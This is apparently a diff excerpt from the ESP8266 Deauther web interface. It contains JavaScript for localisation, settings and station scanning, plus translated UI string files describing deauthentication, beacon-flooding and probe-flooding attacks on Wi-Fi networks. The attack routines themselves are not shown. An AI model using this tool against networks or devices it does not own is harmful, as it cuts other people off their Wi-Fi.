||||
// implementation.
|
||||
var localStorage = new Storage('local');
|
||||
var sessionStorage = new Storage('session');
|
||||
window.localStorage = localStorage;
|
||||
window.sessionStorage = sessionStorage;
|
||||
// For Safari private browsing need to also set the proto value.
|
||||
window.localStorage.__proto__ = localStorage;
|
||||
window.sessionStorage.__proto__ = sessionStorage;
|
||||
})();
|
||||
}
|
||||
|
||||
|
||||
// returns "index" or "apscan" or "attack" .... etc
|
||||
var page = location.href.split("/").slice(-1)[0].split('.')[0];
|
||||
if(page=='') page = 'index';
|
||||
|
||||
var l10n = {};
|
||||
|
||||
var language = 'en';
|
||||
|
||||
storage = window.sessionStorage;// window.localStorage is too persistent for what it's worth
|
||||
|
||||
function fetchl10n(url) {
|
||||
fetch(url)
|
||||
.then((resp) => resp.json()) // Transform the data into json
|
||||
.then(function(data) {
|
||||
l10n = data;
|
||||
console.log('saving l10n to storage');
|
||||
storage.setItem('l10n', JSON.stringify(l10n));
|
||||
loadl10n();
|
||||
|
||||
}).catch(function(error) {
|
||||
// If there is any error you will catch them here
|
||||
console.log(error);
|
||||
alert('l10n FAIL: Could not fetch language file ' + url);
|
||||
throw('Web UI l10n Failed, check your JSON files');
|
||||
});
|
||||
}
|
||||
|
||||
function loadl10n() {
|
||||
|
||||
// load language
|
||||
var nav = document.querySelector('nav') || { innerHTML:'' };
|
||||
var container = document.querySelector('.container');
|
||||
|
||||
var blocks = {
|
||||
navHTML: nav.innerHTML,
|
||||
containerHTML: container.innerHTML
|
||||
}
|
||||
|
||||
if(blocks.navHTML!='') {
|
||||
for(prop in l10n.navStrings) {
|
||||
blocks.navHTML = blocks.navHTML.replace('{' + prop + '}', l10n.navStrings[prop]);
|
||||
}
|
||||
}
|
||||
|
||||
for(prop in l10n.pageStrings[page]) {
|
||||
//console.log('parsing ' + prop);
|
||||
blocks.containerHTML = blocks.containerHTML.replace('{' + prop + '}', l10n.pageStrings[page][prop]);
|
||||
}
|
||||
|
||||
nav.innerHTML = blocks.navHTML;
|
||||
container.innerHTML = blocks.containerHTML;
|
||||
|
||||
loadComplete();
|
||||
|
||||
}
|
||||
|
||||
function loadComplete() {
|
||||
// l10n load complete, proceed to the page duty
|
||||
const scriptcontext = document.querySelector('script[data-src]');
|
||||
if(scriptcontext) {
|
||||
scriptcontext.src = scriptcontext.getAttribute('data-src');
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if(storage) {
|
||||
console.log('storage available');
|
||||
if(storageLang = storage.getItem('language')) {
|
||||
language = storageLang;
|
||||
console.log('got language from storage: ' + language);
|
||||
} else {
|
||||
// first load, save language to storage
|
||||
console.log('storing language: ' + language);
|
||||
storage.setItem('language', language);
|
||||
}
|
||||
|
||||
if(storagel10n = storage.getItem('l10n')) {
|
||||
console.log('got l10n from storage');
|
||||
l10n = JSON.parse(storagel10n);
|
||||
// best use case: language is session preloaded, no neet to fetch JSON
|
||||
loadl10n();
|
||||
} else {
|
||||
// fetch it
|
||||
console.log('will fetch l10n json');
|
||||
let url = '/l10n/' + language + '.json';
|
||||
fetchl10n(url);
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// using default language
|
||||
let url = '/l10n/' + language + '.json';
|
||||
fetchl10n(url);
|
||||
// alert("no cookie or local/session storage");
|
||||
|
||||
}
|
||||
|
||||
|
||||
if(page=="settings") {
|
||||
// enable language switcher
|
||||
var flagbuttons = document.querySelectorAll('.flag');
|
||||
for(i=0;i<flagbuttons.length;i++) {
|
||||
var button = flagbuttons[i];
|
||||
if(button.getAttribute('data-lang') == language) {
|
||||
button.classList.add('selected');
|
||||
}
|
||||
button.addEventListener('click', function(evt) {
|
||||
let language = evt.target.getAttribute('data-lang');
|
||||
let url = '/l10n/' + language + '.json';
|
||||
fetchl10n(url);
|
||||
console.log('storing language: ' + language);
|
||||
storage.setItem('language', language);
|
||||
setTimeout(function() {
|
||||
document.location.reload();
|
||||
}, 1500);
|
||||
}, false);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,99 @@
|
|||
var ssid = getE('ssid');
|
||||
var ssidHidden = getE('ssidHidden');
|
||||
var password = getE('password');
|
||||
var apChannel = getE('apChannel');
|
||||
var macAp = getE('macAp');
|
||||
var randMacAp = getE('randMacAp');
|
||||
var apScanHidden = getE('apScanHidden');
|
||||
var scanTime = getE('scanTime');
|
||||
var timeout = getE('timeout');
|
||||
var deauthReason = getE('deauthReason');
|
||||
var packetRate = getE('packetRate');
|
||||
var saved = getE('saved');
|
||||
var clientNames = getE('clientNames');
|
||||
var useLed = getE('useLed');
|
||||
/*var channelHop = getE('channelHop');*/
|
||||
var multiAPs = getE('multiAPs');
|
||||
var multiAttacks = getE('multiAttacks');
|
||||
var cMac = getE('cMac');
|
||||
var cName = getE('cName');
|
||||
var macInterval = getE('macInterval');
|
||||
var beaconInterval = getE('beaconInterval');
|
||||
var ledPin = getE('ledPin');
|
||||
var res;
|
||||
|
||||
function getData() {
|
||||
getResponse("settings.json", function(responseText) {
|
||||
try {
|
||||
res = JSON.parse(responseText);
|
||||
} catch(e) {
|
||||
showMessage(_("Error: reset the settings."));
|
||||
return;
|
||||
}
|
||||
ssid.value = res.ssid;
|
||||
ssidHidden.checked = res.ssidHidden;
|
||||
password.value = res.password;
|
||||
apChannel.value = res.apChannel;
|
||||
macAp.value = res.macAp;
|
||||
randMacAp.checked = res.randMacAp;
|
||||
apScanHidden.checked = res.apScanHidden;
|
||||
scanTime.value = res.clientScanTime;
|
||||
timeout.value = res.attackTimeout;
|
||||
deauthReason.value = res.deauthReason;
|
||||
packetRate.value = res.attackPacketRate;
|
||||
useLed.checked = res.useLed;
|
||||
/*channelHop.checked = res.channelHop;*/
|
||||
multiAPs.checked = res.multiAPs;
|
||||
multiAttacks.checked = res.multiAttacks;
|
||||
macInterval.value = res.macInterval;
|
||||
beaconInterval.checked = res.beaconInterval;
|
||||
ledPin.value = res.ledPin;
|
||||
});
|
||||
}
|
||||
|
||||
function saveSettings() {
|
||||
saved.innerHTML = _("saving...");
|
||||
var url = "settingsSave.json";
|
||||
url += "?ssid=" + ssid.value;
|
||||
url += "&ssidHidden=" + ssidHidden.checked;
|
||||
url += "&password=" + password.value;
|
||||
url += "&apChannel=" + apChannel.value;
|
||||
url += "&macAp=" + macAp.value;
|
||||
url += "&randMacAp=" + randMacAp.checked;
|
||||
url += "&apScanHidden=" + apScanHidden.checked;
|
||||
url += "&scanTime=" + scanTime.value;
|
||||
url += "&timeout=" + timeout.value;
|
||||
url += "&deauthReason=" + deauthReason.value;
|
||||
url += "&packetRate=" + packetRate.value;
|
||||
url += "&useLed=" + useLed.checked;
|
||||
/*url += "&channelHop=" + channelHop.checked;*/
|
||||
url += "&multiAPs="+multiAPs.checked;
|
||||
url += "&multiAttacks="+multiAttacks.checked;
|
||||
url += "&macInterval="+macInterval.value;
|
||||
url += "&beaconInterval="+beaconInterval.checked;
|
||||
url += "&ledPin="+ledPin.value;
|
||||
|
||||
getResponse(url, function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = _("saved");
|
||||
}
|
||||
else showMessage(_("response error settingsSave.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function resetSettings() {
|
||||
getResponse("settingsReset.json", function(responseText) {
|
||||
if (responseText == "true") {
|
||||
getData();
|
||||
saved.innerHTML = _("saved");
|
||||
}
|
||||
else showMessage(_("response error settingsReset.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function restart(){
|
||||
getResponse("restartESP.json?", function(){});
|
||||
}
|
||||
|
||||
getData();
|
|
@ -0,0 +1,154 @@
|
|||
var table = document.getElementsByTagName('table')[0];
|
||||
var scanBtn = getE("startScan");
|
||||
var scanTime = getE("scanTime");
|
||||
var clientsFound = getE("clientsFound");
|
||||
var scanStatus = getE("clientScanStatus");
|
||||
var clientNames = getE('clientNames');
|
||||
var nameListTable = getE('nameList');
|
||||
var res;
|
||||
|
||||
function compare(a, b) {
|
||||
if (a.p > b.p) return -1;
|
||||
if (a.p < b.p) return 1;
|
||||
return 0;
|
||||
}
|
||||
|
||||
function toggleBtn(onoff) {
|
||||
if (onoff) {
|
||||
scanStatus.style.visibility = 'visible';
|
||||
} else {
|
||||
scanStatus.style.visibility = 'hidden';
|
||||
}
|
||||
}
|
||||
|
||||
function getResults() {
|
||||
getResponse("ClientScanResults.json", function(responseText) {
|
||||
try{
|
||||
res = JSON.parse(responseText);
|
||||
}catch(e){
|
||||
showMessage(_("Error: clear the client list."));
|
||||
return;
|
||||
}
|
||||
|
||||
res.clients = res.clients.sort(compare);
|
||||
|
||||
clientsFound.innerHTML = res.clients.length;
|
||||
|
||||
var tr = '';
|
||||
if (res.clients.length > 0) tr += '<tr><th>Pkts</th><th>' + _('Name') + '</th><th>MAC</th><th>AP</th><th>' + _('Select') + '</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.clients.length; i++) {
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<tr class="selected">';
|
||||
else tr += '<tr>';
|
||||
tr += '<td>' + res.clients[i].p + '</td>';
|
||||
if(res.clients[i].l >= 0) tr += '<td>' + escapeHTML(res.clients[i].n) + ' <a onclick="editNameList(' + res.clients[i].l + ')"></a></td>';
|
||||
else tr += '<td><a onclick="setName(' + res.clients[i].i + ')">' + _('set') + '</a></td>';
|
||||
if(res.clients[i].v.length > 1) tr += '<td>' + res.clients[i].v + res.clients[i].m.substring(8, 20) + '</td>';
|
||||
else tr += '<td>' + res.clients[i].m + '</td>';
|
||||
tr += '<td>' + escapeHTML(res.clients[i].a) + '</td>';
|
||||
|
||||
if (res.clients[i].s == 1) tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('deselect') + '</button></td>';
|
||||
else tr += '<td><button class="marginNull select" onclick="select(' + res.clients[i].i + ')">' + _('select') + '</button></td>';
|
||||
|
||||
tr += '</tr>';
|
||||
}
|
||||
table.innerHTML = tr;
|
||||
|
||||
clientNames.innerHTML = res.nameList.length + "/50";
|
||||
|
||||
var tr = '<tr><th>MAC</th><th>' + _('Name') + '</th><th>' + _('Del.') + '</th><th>' + _('Add') + '</th></tr>';
|
||||
|
||||
for (var i = 0; i < res.nameList.length; i++) {
|
||||
|
||||
tr += '<tr>';
|
||||
tr += '<td>' + res.nameList[i].m + '</td>';
|
||||
tr += '<td>' + escapeHTML(res.nameList[i].n) + ' <a onclick="editNameList(' + i + ')">'+ _('edit') + '</a></td>';
|
||||
tr += '<td><button class="marginNull button-warn" onclick="deleteName(' + i + ')">x</button></td>';
|
||||
tr += '<td><button class="marginNull button-primary" onclick="add(' + i + ')">'+ _('add') + '</button></td>';
|
||||
tr += '</tr>';
|
||||
}
|
||||
|
||||
nameListTable.innerHTML = tr;
|
||||
|
||||
}, function() {
|
||||
showMessage(_("reconnect and reload the site"));
|
||||
}, 6000);
|
||||
|
||||
}
|
||||
|
||||
function scan() {
|
||||
toggleBtn(true);
|
||||
getResponse("ClientScan.json?time=" + scanTime.value, function(responseText) {
|
||||
if(responseText == "true") {
|
||||
setTimeout(function() {
|
||||
toggleBtn(true);
|
||||
getResults();
|
||||
}, scanTime.value * 1000);
|
||||
}
|
||||
else showMessage(_("response error ClientScan.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function select(num) {
|
||||
getResponse("clientSelect.json?num=" + num, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error clientSelect.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function clearNameList() {
|
||||
getResponse("clearNameList.json", function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error clearNameList.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function addClient(){
|
||||
getResponse("addClient.json?mac="+cMac.value+"&name="+cName.value, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error addClient.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function setName(id) {
|
||||
var newName = prompt(_("Name for ") + res.clients[id].m);
|
||||
|
||||
if (newName != null) {
|
||||
getResponse("setName.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||
if(responseText == "true") getResults();
|
||||
else showMessage(_("response error editNameList.json"));
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function editNameList(id) {
|
||||
var newName = prompt(_("Name for ") + res.nameList[id].m);
|
||||
|
||||
if (newName != null) {
|
||||
getResponse("editNameList.json?id=" + id + "&name=" + newName, function(responseText) {
|
||||
if(responseText == "true") getResults();
|
||||
else showMessage(_("response error editNameList.json"));
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
function deleteName(id) {
|
||||
getResponse("deleteName.json?num=" + id, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error deleteName.json"));
|
||||
});
|
||||
}
|
||||
|
||||
function add(id){
|
||||
getResponse("addClientFromList.json?num=" + id, function(responseText) {
|
||||
if (responseText == "true") getResults();
|
||||
else showMessage(_("response error addClientFromList.json"));
|
||||
});
|
||||
}
|
||||
|
||||
getResponse("ClientScanTime.json", function(responseText) {
|
||||
scanTime.value = responseText;
|
||||
getResults();
|
||||
toggleBtn(false);
|
||||
});
|
|
@ -0,0 +1,182 @@
|
|||
{
|
||||
"jsStrings": {
|
||||
"SSID":"SSID",
|
||||
"RSSI":"RSSI",
|
||||
"Select":"Select",
|
||||
"select":"select",
|
||||
"deselect":"deselect",
|
||||
"Attack":"Attack",
|
||||
"Status":"Status",
|
||||
"Start/Stop":"Start/Stop",
|
||||
"Disable Random":"Disable Random",
|
||||
"Enable Random":"Enable Random",
|
||||
"start":"start",
|
||||
"Name":"Name",
|
||||
"Del.":"Del.",
|
||||
"Add":"Add",
|
||||
"add":"add",
|
||||
"edit":"edit",
|
||||
"set":"set",
|
||||
"SSID list full :(":"SSID list full :(",
|
||||
"Error: reset the settings.":"Error: reset the settings.",
|
||||
"saving...":"saving...",
|
||||
"saved":"saved",
|
||||
"Name for ":"Name for ",
|
||||
"Timeout loading":"Timeout loading",
|
||||
"ABORT":"ABORT",
|
||||
"ERROR loading":"ERROR loading",
|
||||
"JSON Parsing failed :-(":"JSON Parsing failed :-(",
|
||||
"response error APScan.json":"response error APScan.json",
|
||||
"response error APSelect.json":"response error APSelect.json",
|
||||
"error loading attackInfo.json":"error loading attackInfo.json",
|
||||
"response error attackStart.json":"response error attackStart.json",
|
||||
"response error settingsSave.json":"response error settingsSave.json",
|
||||
"response error settingsReset.json":"response error settingsReset.json",
|
||||
"Error: clear the client list.":"Error: clear the client list.",
|
||||
"reconnect and reload the site":"reconnect and reload the site",
|
||||
"response error ClientScan.json":"response error ClientScan.json",
|
||||
"response error clientSelect.json":"response error clientSelect.json",
|
||||
"response error clearNameList.json":"response error clearNameList.json",
|
||||
"response error addClient.json":"response error addClient.json",
|
||||
"response error editNameList.json":"response error editNameList.json",
|
||||
"response error deleteName.json":"response error deleteName.json",
|
||||
"response error addClientFromList.json":"response error addClientFromList.json"
|
||||
},
|
||||
"navStrings": {
|
||||
"APs":"APs",
|
||||
"Stations":"Stations",
|
||||
"Attacks":"Attacks",
|
||||
"Settings":"Settings",
|
||||
"Info":"Info"
|
||||
},
|
||||
"pageStrings": {
|
||||
"apscan": {
|
||||
|
||||
"h1":"Scan for Wi-Fi access points",
|
||||
"a1":"scanning...",
|
||||
"button1":"scan",
|
||||
"p1":"Networks found:",
|
||||
"p2":"MAC:",
|
||||
"button2":"deselect all",
|
||||
"button3":"select all",
|
||||
"p3":"INFO:",
|
||||
"p4":"You may have to reload the site to see the results."
|
||||
},
|
||||
"attack": {
|
||||
"h1":"Attacks",
|
||||
"p1":"Selected AP(s):",
|
||||
"button1":"clone",
|
||||
"p2":"Selected Station(s)",
|
||||
"button2":"Enable Random",
|
||||
"p3":"INFO:",
|
||||
"p4":"You may lose connection when starting the attack.",
|
||||
"p5":"Change the channel in the settings to the same of the selected AP to prevent this.",
|
||||
"label1":"SSID",
|
||||
"placeholder1":"SSID",
|
||||
"label2":"Number of Clones",
|
||||
"label3":"Encrypted",
|
||||
"button3":"add",
|
||||
"p6":"SSIDs:",
|
||||
"button4":"clear",
|
||||
"button5":"random",
|
||||
"button6":"reset",
|
||||
"button7":"save",
|
||||
"p7":"saved",
|
||||
"p8":"Deauth [deauthentication attack]:",
|
||||
"p9":"Constantly sends deauthentication and disassociation frames to the selected station(s) and access point(s).",
|
||||
"pa":"Beacon [beacon flooding]:",
|
||||
"pb":"Constantly broadcasts beacon frames to advertise all SSIDs in the list below.",
|
||||
"pc":"Probe-Request [probe request flooding]:",
|
||||
"pd":"Constantly broadcasts probe request frames with all SSIDs in the list below."
|
||||
},
|
||||
"error": {
|
||||
"h1":"ERROR 404",
|
||||
"p1":"Page not found ¯\\_(ツ)_/¯"
|
||||
},
|
||||
"index": {
|
||||
"h1":"WARNING",
|
||||
"p1":"This software is meant for testing common vulnerabilities in the 802.11 standard.",
|
||||
"p2":"Please check the laws for your country before using it.",
|
||||
"p3":"Use it only on your own networks and devices!",
|
||||
"p4":"You are resposible for everything you do with this software.",
|
||||
"p5":"The device will log every attack against any network or device.",
|
||||
"p6":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
|
||||
"p7":"Go to",
|
||||
"p8":"for more information.",
|
||||
"p9":"I've read and understood the notice above"
|
||||
},
|
||||
"info": {
|
||||
"h1":"Info",
|
||||
"h2":"ESP8266 Deauther",
|
||||
"p1":"This project is licensed under the MIT License. See the",
|
||||
"a1":"license file",
|
||||
"p2":"for details.",
|
||||
"p3":"The source code is available on",
|
||||
"a2":"GitHub",
|
||||
"p4":"Use it only for testing or educational purposes against your own devices!",
|
||||
"p5":"Please do not call this project a \"jammer\", it does not jam any frequencies!",
|
||||
"p6":"The MAC address vendor list is based on the Wireshark manufacturer database.",
|
||||
"p7":"Wireshark is released under the GNU General Public License version 2",
|
||||
"p8":"Contact",
|
||||
"p9":"If you would like to support me with my projects, please consider becoming a patron on",
|
||||
"pa":"Or buy the official hardware for this project from DSTIKE on"
|
||||
},
|
||||
"settings": {
|
||||
"locale":"Change locale",
|
||||
"english":"English",
|
||||
"french":"French",
|
||||
"german":"German",
|
||||
"spanish":"Spanish",
|
||||
"italian":"Italian",
|
||||
"klingon":"Klingon",
|
||||
"chinese":"Simplified Chinese",
|
||||
"h1":"Settings",
|
||||
"h2":"Wi-Fi",
|
||||
"label01":"SSID",
|
||||
"label02":"Password",
|
||||
"label03":"min.8 chars",
|
||||
"label04":"Hide SSID",
|
||||
"label05":"be careful with this setting!",
|
||||
"label06":"Channel",
|
||||
"label07":"MAC",
|
||||
"label08":"Random MAC",
|
||||
"h3":"AP Scan",
|
||||
"label09":"Scan Hidden APs",
|
||||
"label10":"Select multiple SSIDs",
|
||||
"h4":"Station Scan",
|
||||
"label11":"Default Scan Time",
|
||||
"h5":"Attack",
|
||||
"label12":"Timeout (0 = no timeout)",
|
||||
"label13":"Use LED",
|
||||
"label14":"LED Pin",
|
||||
"label15":"1s Beacon Interval (default: 100ms)",
|
||||
"label16":"Deauth Reason-Code",
|
||||
"label17":"Packetrate",
|
||||
"label18":"may cause instability!",
|
||||
"label19":"Enable Simultaneous Attacks",
|
||||
"label20":"MAC Change Interval (used for beacons & probes)",
|
||||
"label21":"Channel Hopping",
|
||||
"button1":"reset",
|
||||
"button2":"restart",
|
||||
"button3":"save"
|
||||
},
|
||||
"stations": {
|
||||
"h1":"Scan for Wi-Fi Stations",
|
||||
"label1":"Scan time:",
|
||||
"button1":"start",
|
||||
"a1":"scanning...",
|
||||
"p1":"The access point will be unavailable while scanning and you may have to reconnect!",
|
||||
"p2":"Stations found:",
|
||||
"button2":"deselect all",
|
||||
"button3":"select all",
|
||||
"p3":"Saved stations:",
|
||||
"button4":"clear",
|
||||
"p4":"Add station:",
|
||||
"label2":"MAC",
|
||||
"placeholder1":"AA:BB:CC:DD:EE:FF",
|
||||
"label3":"Name",
|
||||
"placeholder2":"EXAMPLE",
|
||||
"button5":"add"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,181 @@
|
|||
{
|
||||
"jsStrings": {
|
||||
"SSID":"SSID",
|
||||
"RSSI":"RSSI",
|
||||
"Select":"Sélectionner",
|
||||
"select":"sélectionner",
|
||||
"deselect":"déselectionner",
|
||||
"Attack":"Attaquer",
|
||||
"Status":"Status",
|
||||
"Start/Stop":"Démarrer/Arreter",
|
||||
"Disable Random":"Désactiver Random",
|
||||
"Enable Random":"Activer Random",
|
||||
"start":"démarrer",
|
||||
"Name":"Nom",
|
||||
"Del.":"Eff.",
|
||||
"Add":"Ajout",
|
||||
"add":"ajout",
|
||||
"edit":"éditer",
|
||||
"set":"assigner",
|
||||
"SSID list full :(":"List des SSID remplie :(",
|
||||
"Error: reset the settings.":"Erreur: effacer les reglages.",
|
||||
"saving...":"enregistrement...",
|
||||
"saved":"enregistré",
|
||||
"Name for ":"Nom pour ",
|
||||
"Timeout loading":"Délai d'attente dépassé",
|
||||
"ABORT":"INTERROMPRE",
|
||||
"ERROR loading":"ERREUR de chargement",
|
||||
"JSON Parsing failed :-(":"La lecture du JSON a échoué :-(",
|
||||
"response error APScan.json":"Réponse foireuse de APScan.json",
|
||||
"response error APSelect.json":"Réponse foireuse de APSelect.json",
|
||||
"error loading attackInfo.json":"Réponse foireuse de attackInfo.json",
|
||||
"response error attackStart.json":"Réponse foireuse de attackStart.json",
|
||||
"response error settingsSave.json":"Réponse foireuse de settingsSave.json",
|
||||
"response error settingsReset.json":"Réponse foireuse de settingsReset.json",
|
||||
"Error: clear the client list.":"Erreur: il faut vier la listes des clients.",
|
||||
"reconnect and reload the site":"Reconnecter le wifi et recharger la page",
|
||||
"response error ClientScan.json":"Réponse foireuse de ClientScan.json",
|
||||
"response error clientSelect.json":"Réponse foireuse de clientSelect.json",
|
||||
"response error clearNameList.json":"Réponse foireuse de clearNameList.json",
|
||||
"response error addClient.json":"Réponse foireuse de addClient.json",
|
||||
"response error editNameList.json":"Réponse foireuse de editNameList.json",
|
||||
"response error deleteName.json":"Réponse foireuse de deleteName.json",
|
||||
"response error addClientFromList.json":"Réponse foireuse de addClientFromList.json"
|
||||
},
|
||||
"navStrings": {
|
||||
"APs":"APs",
|
||||
"Stations":"Stations",
|
||||
"Attacks":"Attaques",
|
||||
"Settings":"Reglages",
|
||||
"Info":"Info"
|
||||
},
|
||||
"pageStrings": {
|
||||
"apscan": {
|
||||
|
||||
"h1":"Trouver des points d'acces WiFi",
|
||||
"a1":"scan en cours...",
|
||||
"button1":"scan",
|
||||
"p1":"Réseaux trouvés:",
|
||||
"p2":"MAC:",
|
||||
"button2":"tout déselectionner",
|
||||
"button3":"tout sélectionner",
|
||||
"p3":"INFO:",
|
||||
"p4":"Recharger la page si l'attente est trop longue."
|
||||
},
|
||||
"attack": {
|
||||
"h1":"Attaques",
|
||||
"p1":"Points d'acces sélectionné(s):",
|
||||
"button1":"cloner",
|
||||
"p2":"Station(s) sélectionnée(s)",
|
||||
"button2":"Taper au hasard",
|
||||
"p3":"INFO:",
|
||||
"p4":"La connexion peut etre coupée pendant l'attaque.",
|
||||
"p5":"Il suffit de choisir le meme channel que celui du point d'acces sélectionné dans la page des parametres pour éviter ce souci.",
|
||||
"label1":"SSID",
|
||||
"placeholder1":"SSID",
|
||||
"label2":"Nombre de Clones",
|
||||
"label3":"Chiffré",
|
||||
"button3":"ajout",
|
||||
"p6":"SSIDs:",
|
||||
"button4":"effacer",
|
||||
"button5":"au hasard",
|
||||
"button6":"remise a zéro",
|
||||
"button7":"enregistrer",
|
||||
"p7":"enregistré",
|
||||
"p8":"Désauthentification [deauthentication attack]:",
|
||||
"p9":"Envoi ininterrompu de paquets de désauthentification et dissociation aux stations et points d'acces sélectionnés.",
|
||||
"pa":"Balise [beacon flooding]:",
|
||||
"pb":"Diffusion ininterrompue de trames balises (beacon frames) qui annoncent tous les SSIDs de la liste ci-dessous.",
|
||||
"pc":"Innondation aux requête de sondage [probe request flooding]:",
|
||||
"pd":"Diffusion ininterrompue de trames de requêtes de sondage avec tous les SSIDs de la liste ci-dessous."
|
||||
},
|
||||
"error": {
|
||||
"h1":"ERREUR 404",
|
||||
"p1":"Page non trouvée ¯\\_(ツ)_/¯"
|
||||
},
|
||||
"index": {
|
||||
"h1":"ATTENTION",
|
||||
"p1":"Ce logiciel est prévu pour tester les failles connues du standard 802.11",
|
||||
"p2":"Consultez les lois locales avant de l'utiliser.",
|
||||
"p3":"Ne l'utilisez que sur votre réseau domestique et vos appareils personnels !",
|
||||
"p4":"C'est votre responsabilité que vous engagez en utilisant cet outil.",
|
||||
"p5":"Toutes les attaques sont enregistrées.",
|
||||
"p6":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
|
||||
"p7":"Voir",
|
||||
"p8":"pour plus d'informations.",
|
||||
"p9":"J'ai lu et compris la notice"
|
||||
},
|
||||
"info": {
|
||||
"h1":"Info",
|
||||
"h2":"ESP8266 Deauther",
|
||||
"p1":"Ce projet est sous license MIT License. Voir le ",
|
||||
"a1":"fichier de licence",
|
||||
"p2":"pour plus d'infos.",
|
||||
"p3":"Le code source de ce projet est dispo sur",
|
||||
"a2":"GitHub",
|
||||
"p4":"A n'utiliser que pour tester ou s'instruire, mais toujours sur vos propres appareils !",
|
||||
"p5":"Ce projet ne s'appelle pas un \"brouilleur\" (\"jammer\"), aucune fréquence n'est brouillée !",
|
||||
"p6":"La liste des constructeurs d'adresses MAC est basée sur celle de Wireshark.",
|
||||
"p7":"Wireshark est diffusé sous licene GNU General Public License version 2",
|
||||
"p8":"Contacter",
|
||||
"p9":"Si vous voulez m'aider dans mes projets, considérez l'option de devenir mon patron sur",
|
||||
"pa":"Ou offrez-vous le matériel officiel de DSTIKE lié a ce projet sur"
|
||||
},
|
||||
"settings": {
|
||||
"english":"Anglais",
|
||||
"french":"Franchouillard",
|
||||
"german":"Allemand",
|
||||
"spanish":"Espagnol",
|
||||
"italian":"Italien",
|
||||
"klingon":"Klingon",
|
||||
"chinese":"Chinois Simplifié",
|
||||
"h1":"Parametres",
|
||||
"h2":"Wi-Fi",
|
||||
"label01":"SSID",
|
||||
"label02":"Mot de passe",
|
||||
"label03":"min.8 caracteres",
|
||||
"label04":"Masquer SSID",
|
||||
"label05":"gaffe avec ce parametre !",
|
||||
"label06":"Channel",
|
||||
"label07":"MAC",
|
||||
"label08":"MAC au hasard",
|
||||
"h3":"Scan de points d'acces",
|
||||
"label09":"Scanner les points d'acces cachés",
|
||||
"label10":"Sélectionne plusieurs SSIDs",
|
||||
"h4":"Scan de stations",
|
||||
"label11":"Durée du Scan",
|
||||
"h5":"Attaque",
|
||||
"label12":"Délai d'attente (0 = aucun)",
|
||||
"label13":"Utiliser la LED",
|
||||
"label14":"LED Pin",
|
||||
"label15":"Intervalle d'annonce balise (par défault: 100ms)",
|
||||
"label16":"Code raison de la désauthentification",
|
||||
"label17":"Taux des paquets",
|
||||
"label18":"provoque de l'instabilité !",
|
||||
"label19":"Activer les attaques simultanées",
|
||||
"label20":"Intervalle changement de MAC (utilisé par balise & sondage)",
|
||||
"label21":"Danse avec les Channels",
|
||||
"button1":"remise a zéro",
|
||||
"button2":"redémarrer",
|
||||
"button3":"enregistrer"
|
||||
},
|
||||
"stations": {
|
||||
"h1":"Scanner les Stations Wi-Fi",
|
||||
"label1":"Durée du Scan:",
|
||||
"button1":"lancer",
|
||||
"a1":"scan en cours...",
|
||||
"p1":"Le point d'acces sera indisponible pendantle scan, et il faudra peut etre reconnecter le WiFi !",
|
||||
"p2":"Stations trouvées:",
|
||||
"button2":"tout déselectionner",
|
||||
"button3":"tout sélectionner",
|
||||
"p3":"Stations enregistrées:",
|
||||
"button4":"effacer",
|
||||
"p4":"Ajouter une station:",
|
||||
"label2":"MAC",
|
||||
"placeholder1":"AA:BB:CC:DD:EE:FF",
|
||||
"label3":"Nom",
|
||||
"placeholder2":"EXEMPLE",
|
||||
"button5":"ajouter"
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,182 @@
|
|||
{
|
||||
"jsStrings": {
|
||||
"SSID":"SSID",
|
||||
"RSSI":"信号强度",
|
||||
"Select":"选择",
|
||||
"select":"选择",
|
||||
"deselect":"取消选择",
|
||||
"Attack":"攻击",
|
||||
"Status":"状态",
|
||||
"Start/Stop":"开始/停止",
|
||||
"Disable Random":"关闭 Random",
|
||||
"Enable Random":"开启 Random",
|
||||
"start":"开始",
|
||||
"Name":"名称",
|
||||
"Del.":"删除。",
|
||||
"Add":"添加",
|
||||
"add":"添加",
|
||||
"edit":"编辑",
|
||||
"set":"设置",
|
||||
"SSID list full :(":"SSID列表溢出 :(",
|
||||
"Error: reset the settings.":"错误:清除设置失败。",
|
||||
"saving...":"保存中。。。",
|
||||
"saved":"已保存",
|
||||
"Name for ":"取名 ",
|
||||
"Timeout loading":"载入超时",
|
||||
"ABORT":"终止",
|
||||
"ERROR loading":"载入时发生错误",
|
||||
"JSON Parsing failed :-(":"JSON 解析失败 :-(",
|
||||
"response error APScan.json":"APScan.json响应错误",
|
||||
"response error APSelect.json":"APSelect.json响应错误",
|
||||
"error loading attackInfo.json":"attackInfo.json响应错误",
|
||||
"response error attackStart.json":"attackStart.json响应错误",
|
||||
"response error settingsSave.json":"settingsSave.json响应错误",
|
||||
"response error settingsReset.json":"settingsReset.json响应错误",
|
||||
"Error: clear the client list.":"错误: 清除客户端列表失败.",
|
||||
"reconnect and reload the site":"重新载入页面",
|
||||
"response error ClientScan.json":"ClientScan.json响应错误",
|
||||
"response error clientSelect.json":"clientSelect.json响应错误",
|
||||
"response error clearNameList.json":"clearNameList.json响应错误",
|
||||
"response error addClient.json":"addClient.json响应错误",
|
||||
